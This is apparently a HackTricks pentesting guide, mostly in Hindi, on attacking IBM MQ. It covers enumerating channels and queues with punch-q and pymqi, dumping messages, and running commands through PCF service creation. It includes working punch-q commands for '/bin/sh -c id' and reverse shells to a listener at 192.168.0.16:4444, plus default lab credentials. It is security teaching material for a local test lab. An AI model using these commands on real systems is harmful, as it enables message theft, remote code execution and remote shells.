# 1414 - Pentesting IBM MQ {{#include ../banners/hacktricks-training.md}} ## Basic information IBM MQ एक IBM तकनीक है जो संदेश कतारों का प्रबंधन करती है। अन्य **message broker** तकनीकों की तरह, यह उत्पादकों और उपभोक्ताओं के बीच जानकारी प्राप्त करने, संग्रहीत करने, संसाधित करने और वर्गीकृत करने के लिए समर्पित है। डिफ़ॉल्ट रूप से, **यह IBM MQ TCP पोर्ट 1414** को उजागर करता है। कभी-कभी, HTTP REST API पोर्ट **9443** पर उजागर हो सकता है। मेट्रिक्स (Prometheus) को TCP पोर्ट **9157** से भी एक्सेस किया जा सकता है। IBM MQ TCP पोर्ट 1414 का उपयोग संदेशों, कतारों, चैनलों को नियंत्रित करने के लिए किया जा सकता है, ... लेकिन **इंस्टेंस को नियंत्रित करने के लिए भी**। IBM एक बड़ा तकनीकी दस्तावेज़ प्रदान करता है जो [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) पर उपलब्ध है। ## Tools आसान शोषण के लिए एक सुझाया गया उपकरण है **[punch-q](https://github.com/sensepost/punch-q)**, जिसमें Docker का उपयोग किया गया है। यह उपकरण सक्रिय रूप से Python पुस्तकालय `pymqi` का उपयोग कर रहा है। एक अधिक मैनुअल दृष्टिकोण के लिए, Python पुस्तकालय **[pymqi](https://github.com/dsuch/pymqi)** का उपयोग करें। [IBM MQ dependencies](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) की आवश्यकता है। ### Installing pymqi **IBM MQ dependencies** को स्थापित और लोड करने की आवश्यकता है: 1. [https://login.ibm.com/](https://login.ibm.com/) पर एक खाता (IBMid) बनाएं। 2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) से IBM MQ पुस्तकालय डाउनलोड करें। Linux x86_64 के लिए यह **9.0.0.4-IBM-MQC-LinuxX64.tar.gz** है। 3. डिकंप्रेस करें (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)। 4. लाइसेंस शर्तों को स्वीकार करने के लिए `sudo ./mqlicense.sh` चलाएं। > यदि आप Kali Linux पर हैं, तो फ़ाइल `mqlicense.sh` को संशोधित करें: निम्नलिखित पंक्तियों को हटा दें/टिप्पणी करें (पंक्तियों 105-110 के बीच): > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 > fi > ``` 5. इन पैकेजों को स्थापित करें: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. फिर, अस्थायी रूप से `.so` फ़ाइलों को LD में जोड़ें: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **अन्य उपकरणों को इन निर्भरताओं का उपयोग करने से पहले**। फिर, आप प्रोजेक्ट को क्लोन कर सकते हैं [**pymqi**](https://github.com/dsuch/pymqi): इसमें दिलचस्प कोड स्निप्पेट्स, स्थिरांक, ... शामिल हैं। या आप सीधे लाइब्रेरी को स्थापित कर सकते हैं: `pip install pymqi`। ### Using punch-q #### With Docker बस उपयोग करें: `sudo docker run --rm -ti leonjza/punch-q`। #### Without Docker प्रोजेक्ट को क्लोन करें [**punch-q**](https://github.com/sensepost/punch-q) फिर स्थापना के लिए readme का पालन करें (`pip install -r requirements.txt && python3 setup.py install`)। इसके बाद, इसे `punch-q` कमांड के साथ उपयोग किया जा सकता है। ## Enumeration आप **punch-q** या **pymqi** के साथ **क्यू प्रबंधक का नाम, उपयोगकर्ता, चैनल और क्यू** को सूचीबद्ध करने का प्रयास कर सकते हैं। ### Queue Manager कभी-कभी, क्यू प्रबंधक का नाम प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Channels **punch-q** एक आंतरिक (संशोधित करने योग्य) शब्द सूची का उपयोग कर रहा है ताकि मौजूदा चैनलों को खोजा जा सके। उपयोग का उदाहरण: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` यह होता है कि कुछ IBM MQ उदाहरण **अप्रमाणित** MQ अनुरोधों को स्वीकार करते हैं, इसलिए `--username / --password` की आवश्यकता नहीं है। बेशक, पहुँच अधिकार भी भिन्न हो सकते हैं। जैसे ही हमें एक चैनल नाम मिलता है (यहाँ: `DEV.ADMIN.SVRCONN`), हम सभी अन्य चैनलों की गणना कर सकते हैं। गणना मूल रूप से इस कोड स्निपेट `code/examples/dis_channels.py` के साथ की जा सकती है जो **pymqi** से है: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... लेकिन **punch-q** उस भाग को भी एम्बेड करता है (और अधिक जानकारी के साथ!)। इसे लॉन्च किया जा सकता है: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Queues There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** अधिक जानकारी प्राप्त करने की अनुमति देता है queues के बारे में: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Exploit ### Dump messages आप कतार(ों)/चैनल(ों) को लक्षित कर सकते हैं ताकि उनसे संदेशों को स्निफ़/डंप किया जा सके (गैर-नाशक ऑपरेशन)। _Examples:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **सभी पहचाने गए कतारों पर दोहराने में संकोच न करें।** ### कोड निष्पादन > कुछ विवरण आगे बढ़ने से पहले: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण आदेश। कुछ सामान्य सूचियाँ [IBM MQ दस्तावेज़ीकरण](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) में पाई जा सकती हैं। > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_प्रोग्रामेबल कमांड फॉर्मेट्स_**) पर हम दूरस्थ रूप से उदाहरण के साथ बातचीत करने के लिए ध्यान केंद्रित कर रहे हैं। **punch-q** और इसके अलावा **pymqi** PCF इंटरैक्शन पर आधारित हैं। > > आप PCF कमांड की एक सूची पा सकते हैं: > > - [PCF दस्तावेज़ीकरण से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), और > - [स्थिरांक से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)। > > एक दिलचस्प कमांड है `MQCMD_CREATE_SERVICE` और इसका दस्तावेज़ीकरण [यहाँ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) उपलब्ध है। यह एक `StartCommand` को तर्क के रूप में लेता है जो उदाहरण पर एक स्थानीय प्रोग्राम की ओर इशारा करता है (उदाहरण: `/bin/sh`)। > > दस्तावेज़ों में कमांड का एक चेतावनी भी है: _"ध्यान दें: यह कमांड एक उपयोगकर्ता को mqm प्राधिकरण के साथ एक मनमाना कमांड चलाने की अनुमति देती है। यदि इस कमांड का उपयोग करने के लिए अधिकार दिए जाते हैं, तो एक दुर्भावनापूर्ण या लापरवाह उपयोगकर्ता एक सेवा परिभाषित कर सकता है जो आपके सिस्टम या डेटा को नुकसान पहुंचा सकती है, उदाहरण के लिए, आवश्यक फ़ाइलों को हटाकर।"_ > > _नोट: हमेशा IBM MQ दस्तावेज़ीकरण (प्रशासन संदर्भ) के अनुसार, `/admin/action/qmgr/{qmgrName}/mqsc` पर एक HTTP अंत बिंदु भी है जो सेवा निर्माण के लिए समकक्ष MQSC कमांड (`DEFINE SERVICE`) चलाने के लिए है। यह पहलू यहाँ अभी तक कवर नहीं किया गया है।_ दूरस्थ प्रोग्राम निष्पादन के लिए PCF के साथ सेवा निर्माण / हटाने को **punch-q** द्वारा किया जा सकता है: **उदाहरण 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक निष्पादित हुआ है: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` आप मशीन पर मौजूदा प्रोग्रामों की गणना भी कर सकते हैं (यहाँ `/bin/doesnotexist` ... मौजूद नहीं है): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **ध्यान दें कि प्रोग्राम लॉन्च असिंक्रोनस है। इसलिए आपको एक्सप्लॉइट का लाभ उठाने के लिए एक दूसरा आइटम चाहिए** **_(रिवर्स शेल के लिए लिस्नर, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकासी ...)_** **उदाहरण 2** आसान रिवर्स शेल के लिए, **punch-q** दो रिवर्स शेल पेलोड भी प्रदान करता है: - एक bash के साथ - एक perl के साथ _बेशक, आप `execute` कमांड के साथ एक कस्टम बना सकते हैं।_ बाश के लिए: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` perl के लिए: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### कस्टम PCF आप IBM MQ दस्तावेज़ में गहराई से जा सकते हैं और **pymqi** पायथन लाइब्रेरी का सीधे उपयोग करके विशेष PCF कमांड का परीक्षण कर सकते हैं जो **punch-q** में लागू नहीं है। **उदाहरण:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` यदि आप स्थायी नाम नहीं ढूंढ पा रहे हैं, तो आप [IBM MQ दस्तावेज़](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) का संदर्भ ले सकते हैं। > _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) का उदाहरण (दशमलव = 73)। इसे पैरामीटर `MQCA_CLUSTER_NAME` (दशमलव = 2029) की आवश्यकता होती है जिसे `_` (दस्तावेज़: ):\* कहा जा सकता है। > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## परीक्षण वातावरण यदि आप IBM MQ के व्यवहार और शोषणों का परीक्षण करना चाहते हैं, तो आप Docker पर आधारित एक स्थानीय वातावरण सेट कर सकते हैं: 1. ibm.com और cloud.ibm.com पर एक खाता होना। 2. निम्नलिखित के साथ एक कंटेनराइज्ड IBM MQ बनाएं: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` डिफ़ॉल्ट रूप से, प्रमाणीकरण सक्षम है, उपयोगकर्ता नाम `admin` है और पासवर्ड `passw0rd` है (पर्यावरण चर `MQ_ADMIN_PASSWORD`)। यहाँ, कतार प्रबंधक का नाम `MYQUEUEMGR` पर सेट किया गया है (चर `MQ_QMGR_NAME`)। आपके पास IBM MQ चालू और चल रहा होना चाहिए और इसके पोर्ट्स खोले हुए होने चाहिए: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > IBM MQ डॉकर इमेज के पुराने संस्करण यहाँ हैं: https://hub.docker.com/r/ibmcom/mq/. ## संदर्भ - [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq) {{#include /banners/hacktricks-training.md}}